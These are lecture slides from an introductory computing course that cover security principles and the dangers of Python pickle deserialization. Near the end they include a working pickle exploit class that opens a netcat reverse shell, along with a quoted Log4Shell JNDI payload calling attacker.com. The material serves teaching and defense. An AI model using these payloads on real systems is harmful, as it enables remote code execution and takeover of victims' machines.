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Announcements
● Hw08 due Wednesday 8/09

○ Two surveys and a written response
○ Surveys cannot be extended

● All students who receive full credit on hw08 are eligible for 1 EC if at least 80% 
of students get full credit on hw08, i.e submit all surveys and the written 
response.

● Scheme Due
○ Whole project due today 8/08
○ Project party today 8/8 3-5:30 PM Warren Hall
○ Submit to the correct autograder!

● Hws 1-4 recovery updated
● Lab 13 optional
● Discussion 12 today is NOT optional
● Final exam on 8/10 6-9 PM*

○ (tentative) Study Guide is released and available on the main exam 
logistics post

○ Submit exam alteration form
○ Priority deadline was 8/06, but still submit if needed

● Topical review sessions today! See post

https://go.cs61a.org/exam-alts
https://edstem.org/us/courses/40197/discussion/3302528


overview

● Security principles quick overview
● Memory and System call
● serialization/deserialization

○ Review of how data is stored in a computer, assembly language, c 
language, addresses etc. 

● Secure and security: the pickle module is not secure
● How to pickle
● How to exploit a pickle
● Secure examples, real life examples



What is security?
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Enforcing a desired property in the presence of an attacker

data confidentiality

user privacy

data and computation integrity

authentication

availability

…

What is security?
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● It is important for our

○ physical safety

○ confidentiality/privacy

○ functionality

○ protecting our assets

○ successful business

○ a country’s economy and safety

○ and so on…

Why is security important?
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● Everything!

○ Especially things connected to the Internet

○ Assume that every system is a target

○ A casino was hacked because a fish-tank thermometer was hacked 
within the network

What is hackable?
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Link

For the First Time, Hackers Have Used a Refrigerator to 
Attack Businesses
Julie Bort January 17, 2014

https://slate.com/business/2014/01/hackers-use-a-refrigerator-to-attack-businesses.html


Security Principles

8

Textbook Chapter 1



Second Half of Today: Security Principles

● Security principles

○ Know your threat model

○ Consider human factors

○ Security is economics

○ Detect if you can’t 
prevent

○ Defense in depth
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○ Least privilege

○ Separation of responsibility

○ Ensure complete mediation

○ Don’t rely on security through 
obscurity

○ Use fail-safe defaults

○ Design in security from the 
start



The Parable of the Bear Race

“I don’t have to outrun the bear. I just have to outrun you.”
Takeaway: You often just need to have “good enough” defense to make attackers turn somewhere 

else.
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Reminder: blue slides are 
case studies. Remember the 
takeaway, not the story!



Security Principle: Know Your 
Threat Model
● Threat model: A model of who your attacker is and what 

resources they have

● It all comes down to people: The attackers

○ No attackers = No problem!

○ One of the best ways to counter an attacker is to 
attack their reasons

● Why do people attack systems?

○ Money

○ Politics

○ Retaliation

○ Fun, watching the world burn
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Threat Model: Common Assumptions for 
Attackers

● Assume the attacker…

○ Can interact with systems without notice

○ Knows general information about systems (operating systems, 
vulnerabilities in software, usually patterns of activity, etc.)

○ Can get lucky

■ If an attack only succeeds 1/1,000,000 times, the attacker will try 
1,000,000 times!

○ May coordinate complex attacks across different systems

○ Has the resources required to mount the attack

■ This can be tricky depending on who your threat model is

○ Can and will obtain privileges if possible
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Trusted Computing Base

● Trusted computing base (TCB): The components of a system that 
security relies upon

● Properties of the TCB:

○ Correctness

○ Completeness (can’t be bypassed)

○ Security (can’t be tampered with)

● Generally made to be as small as possible

○ A smaller, simpler TCB is easier to write and audit.

○ KISS principle: Keep It Simple, Stupid
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Warning Dialogs



Warning Dialogs



Warning Dialogs



Warning Dialogs



Security Principle: Consider Human Factors

● It all comes down to people: The users

○ Users like convenience (ease of use)

○ If a security system is unusable, it will be unused

○ Users will find way to subvert security systems if it 
makes their lives easier

● It all comes down to people: The programmers

○ Programmers make mistakes

○ Programmers use tools that allow them to make 
mistakes (e.g. C and C++)

● It all comes down to people: Everyone else

○ Social engineering attacks exploit other people’s trust 
and access for personal gain

● Consider the tools presented to users, and make them 
fool-proof
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Physical security keys use the 
fact that humans are trained 

to safeguard keys



Takeaway: Security is economics

Physical Safes

● We want our safes to stop people from breaking in, so let’s measure them by 
how long it takes an expert to break into one:
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TL-15 ($3,000)
15 minutes with common tools

TL-30 ($4,500)
30 minutes with common tools 

TRTL-30 ($10,000)
30 minutes with common tools 

and a cutting torch

TXTL-60 (>$50,000)
60 minutes with common tools, 
a cutting torch, and up to 4 oz 

of explosives



Security Principle: Security is Economics
● Cost/benefit analyses often appear in security: The expected benefit 

of your defense should be proportional to the expected cost of attack

○ More security (usually) costs more

○ If the attack costs more than the reward, the attacker probably won’t do it

● Example: You don’t put a $10 lock on a $1 item…

○ … unless a $1 item can be used to attack something even more valuable

● Example: You have a brand-new, undiscovered attack that will work on 
anybody’s computer. You wouldn’t expose it on a random civilian

○ iPhone security vulnerabilities are often sold for ~$1M on the market, so 
it’s probably safe to use an iPhone on a hostile network if you aren’t a 
$1M target
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Burglar Alarms
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● Security companies are supposed to 
detect home break-ins

○ Problem: Too many false alarms. Many 
alarms go unanswered

○ Placing a sign helps deter burglars from 
entering at risk of being caught…

■ … even if you don’t have an alarm 
installed!

● Takeway: Prevent attacks when you 
can, but detect them if you can’t



Security Principle: Detect if You Can’t Prevent

● Deterrence: Stop the attack before it happens

● Prevention: Stop the attack as it happens

● Detection: Learn that there was an attack (after it happened)

○ If you can’t stop the attack from happening, you should at least be able to 
know that the attack has happened.

● Response: Do something about the attack (after it happened)

○ Once you know the attack happened, you should respond

○ Detection without response is pointless!
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Response: Mitigation and Recovery

● Assume that bad things will happen! 
You should plan security in way that 
lets you to get back to a working state.

● Example: Earthquakes

○ Have resources for 1 week of 
staying put

○ Have resources to travel 50 miles 
from my current location

● Example: Ransomware

○ Keep offsite backups!

○ If your computer and house catch 
on fire, it should be no big deal.
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Detection but no Response

● Bitcoin transactions are irreversible. If 
you are hacked, you can never recover 
your Bitcoins.

○ $68M stolen from NiceHash exchange in 
December 2017

○ Four multi-million-dollar attacks on Ethereum 
in July 2018

○ Coinbase: One detected theft per day

● Takeaway: Prevention is great, but you 
must not only depend on prevention; 
you must also respond
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Link

Hacked Bitcoin Exchange 
Says Users May Share $68 
Million Loss
Lulu Yilun Chen 
and Yuji 
Nakamura

August 5, 
2016

https://www.bloomberg.com/news/articles/2016-08-05/hacked-bitcoin-exchange-says-it-will-spread-losses-among-users


The Theodosian Walls of Constantinople

● The ancient capital of the Byzantine 
empire had a wall…

○ Well, they had a moat…

○ then a wall…

○ then a depression…

○ … and then an even bigger wall

● It also had towers to rain fire and 
arrows upon the enemy…

● Takeaway: Defense in depth
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Security Principle: Defense in Depth

● Multiple types of defenses should be layered together

● An attacker should have to breach all defenses to successfully attack 
a system

● However, consider security is economics

○ Defenses are not free.

○ Defenses are often less than the sum of their parts
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uTorrent
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uTorrent
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uTorrent
● What was this program able to do?

○ Leak your files

○ Delete your files

○ Send spam

○ Run another malicious program

● What does this program need to be able 
to do?

○ Access the screen

○ Manage some files (but not all files)

○ Make some Internet connections (but not all 
Internet connections)

● Takeaway: Least privilege
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Security Principle: Least Privilege

● Consider what permissions a entity or program needs to be able to do 
its job correctly

○ If you grant unnecessary permissions, a malicious or hacked program 
could use those permissions against you
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Welcome to a Nuclear Bunker
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Security Principle: Separation of Responsibility

● If you need to have a privilege, consider requiring multiple parties to 
work together (collude) to exercise it

○ It’s much more likely for a single party to be malicious than for all 
multiple parties to be malicious and collude with one another
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Security Principle: Ensure Complete Mediation

● Ensure that every access point is 
monitored and protected

● Reference monitor: Single point through 
which all access must occur

○ Example: A network firewall, airport 
security, the doors to the dorms

● Desired properties of reference monitors:

○ Correctness

○ Completeness (can’t be bypassed)

○ Security (can’t be tampered with)

○ Should be part of the TCB
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The cars drove around the barrier



Time-of-Check to Time-of-Use
● A common failure of ensuring complete mediation involving race 

conditions

● Consider the following code:
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procedure withdrawal(w)
// contact central server to get balance
1. let b := balance

2. if b < w, abort

// contact server to set balance
3. set balance := b - w

4. give w dollars to user

Suppose you have $5 in your account. 
How can you trick this system into 
giving you more than $5?



Time-of-Check to Time-of-Use
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withdrawal(5)
1. let b := balance
2. if b < w, abort

withdrawal(5)
1. let b := balance
2. if b < w, abort

// contact server to set balance
3. set balance := b - w

4. give w dollars to user

// contact server to set balance
3. set balance := b - w

4. give w dollars to user
The machine gives you $10!

Ti
m

e



Accident on Motorway
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Here’s the hidden computer 
inside the sign.

Here’s a highway sign.

Here’s the control panel. 
Most signs use the default 

password, DOTS.



Caution! Zombies Ahead!!!

Note: Do not ever do this. Yes, some former CS 161 students did it once.
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Trapped in Sign Factory! Send Help!

Takeaway: Shannon’s maxim/Don’t rely on security through obscurity
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Security Principle: Shannon’s Maxim

● Shannon’s maxim: “The enemy knows 
the system”

● You should never rely on obscurity as 
part of your security. Always assume 
that the attacker knows every detail 
about the system you are working with 
(algorithms, hardware, defenses, etc.).
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Assume the attacker knows 
where the “secret” control 
panel is located, and has 

read the manual with 
instructions on resetting the 

password.



Soda Hall

● Rooms in Berkeley’s Soda Hall are 
guarded by electronic card keys

● What do you do if the power goes out?

○ Fail closed: No one can get in if the power is 
out

○ Fail open: Anyone can get in if the power 
goes out

● What’s the best option to choose for 
closets with expensive equipment? 
What about emergency exit doors?

● Takeaway: Use fail-safe defaults
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Security Principle: Use Fail-Safe Defaults

● Choose default settings that “fail 
safe,” balancing security with 
usability when a system goes down

○ This can be hard to determine
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Security Principle: Design in Security from the 
Start

● When building a new system, include security as part of the design 
considerations rather than patching it after the fact

○ A lot of systems today were not designed with security from the start, 
resulting in patches that don’t fully fix the problem!

● Keep these security principles in mind whenever you write code!
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Security Principles: Summary

● Know your threat model: Understand your attacker and their resources and motivation

● Consider human factors: If your system is unusable, it will be unused

● Security is economics: Balance the expected cost of security with the expected benefit

● Detect if you can’t prevent: Security requires not just preventing attacks but detecting and 
responding to them

● Defense in depth: Layer multiple types of defenses

● Least privilege: Only grant privileges that are needed for correct functioning, and no more

● Separation of responsibility: Consider requiring multiple parties to work together to exercise a 
privilege

● Ensure complete mediation: All access must be monitored and protected, unbypassable

● Shannon’s maxim: The enemy knows the system

● Use fail-safe defaults: Construct systems that fail in a safe state, balancing security and usability.

● Design in security from the start: Consider all of these security principles when designing a new 
system, rather than patching it afterwards
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What is a system call?



Languages and Memory

Pieces of information are stored at a specific location called an “address” 
within a computer’s memory

Different pieces of information are stored in different places

Especially if they are from different programs or applications!



User vs Administrator

User

● Normal user processes
● Only has access to its own process’s 

memory
○ Can’t access the internal “vital organs” of 

the computer (AKA the really important 
stuff that makes your computer work on a 
basic level)

Admin

● Only you and your OS have admin 
permissions

● Can control and touch the really important 
stuff that controls your computer

○ You can think of these things as the “vital 
organs” of your computer

● The “organs” are what create and run the 
computer, and make it work

● If someone else could access these “vital 
organs”, it would be really bad 

○ They could do malicious things and get 
into places they shouldn’t

○ Why? Because they would be able to 
control the entire behavior of your 
computer

“User Space”

Restricted 
access to 
resources

“Kernel Space”

Full access to 
resources



Serialization
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Serialization in Java & Python
● Java and Python have a problem: serialization

○ Serialization is a huge land-mine that is easy to trigger

● Python Pickling == Serializing; Python Unpickling == Deserialization

● “Pickling” is the process where a Python object hierarchy is converted 
into a byte stream

● “Unpickling” is the inverse operation, where a byte stream (from a 
binary file or bytes-like object) is converted back into an object 
hierarchy.

● Byte streams are a sequence of bytes used by programs to input and 
output information → its a way to store data in memory!
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Serialization

● Byte streams and byte code are unrelated

○ Byte code is the result of compilation, like machine code, run on the CPU

○ Byte stream is a result of serialization which stores the state of an object; 
does not contain byte code

Demo



Log4Shell Vulnerability
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Link

What's the Deal with the Log4Shell Security Nightmare?

Nicholas Weaver December 10, 2021

We live in a strange world. What started out as a Minecraft prank, where a 
message in chat like ${jndi:ldap://attacker.com/pwnyourserver} 
would take over either a Minecraft server or client, has now resulted in a 
5-alarm security panic as administrators and developers all over the world 
desperately try to fix and patch systems before the cryptocurrency miners, 
ransomware attackers and nation-state adversaries rush to exploit thousands 
of software packages. 

https://www.lawfareblog.com/whats-deal-log4shell-security-nightmare


Using Serialization

● Motivation

○ You have some complex data structure (e.g. objects pointing to objects 
pointing to objects)

○ You want to save your program state

○ Or you want to transfer this state to another running copy of your 
program

● Option 1: Manually write and parse a custom file format

○ Problem: The code and the custom format are probably pretty ugly

○ Problem: Extra programming work

○ Problem: You may make errors in your parser
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Using Serialization

● Motivation

○ You have some complex data structure (e.g. objects pointing to objects 
pointing to objects)

○ You want to save your program state

○ Or you want to transfer this state to another running copy of your 
program

● Option 2: Use a serialization library

○ Automatically converts any object into a file (and back)

○ Example: serialize is a built-in Java function

○ Example: pickle is a built-in Python library
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Controlling the behavior of pickling/unpickling

● Not every object can be serialized
● Pickling for certain objects like functions or classes can come with 

restrictions → today we’re focusing on classes!
● You can define a custom behavior for the pickling process

def __reduce__(): …

- Intended to reconstruct objects
- Returns a string or tuple
- Tuple must be 2-6 items long
- The items of the tuple are:

- A callable object that will be called to create the initial version of the 
object.

- A tuple of arguments for the callable object. An empty tuple must be 
given if the callable does not accept any argument. […]

Demo



Serialization Vulnerabilities in pickle (Python)

● Serialization libraries can load and save arbitrary objects

○ Arbitrary objects might contain code that can be executed (e.g. 
functions)

● What if the attacker provides a malicious file to be deserialized?

○ The victim program loads a serialized file from the attacker

○ When deserializing the object, the code from the attacker executes!
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A pickle (Python) exploit
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import base64, os, pickle

class RCE:
  def __reduce__(self):
    cmd = \
      'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f' \
      '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f'
    return os.system, (cmd,)

if __name__ == '__main__':
  pickled = pickle.dumps(RCE())
  print(base64.b64encode(pickled).decode('ascii'))

Demo



Serialization: Detection and Defenses

● Look for serialize in Java and pickle in Python

● Can an attacker ever provide input to these functions?

○ Example: If the code runs on your server and you accept data from users, 
you should assume that the users might be malicious

● Don’t unpickle untrusted data!!

● Refactor the code to use safe alternatives

○ JSON (Java Script Object Notation)

○ Protocol buffers (language neutral serialization library)

○ Signing data

56


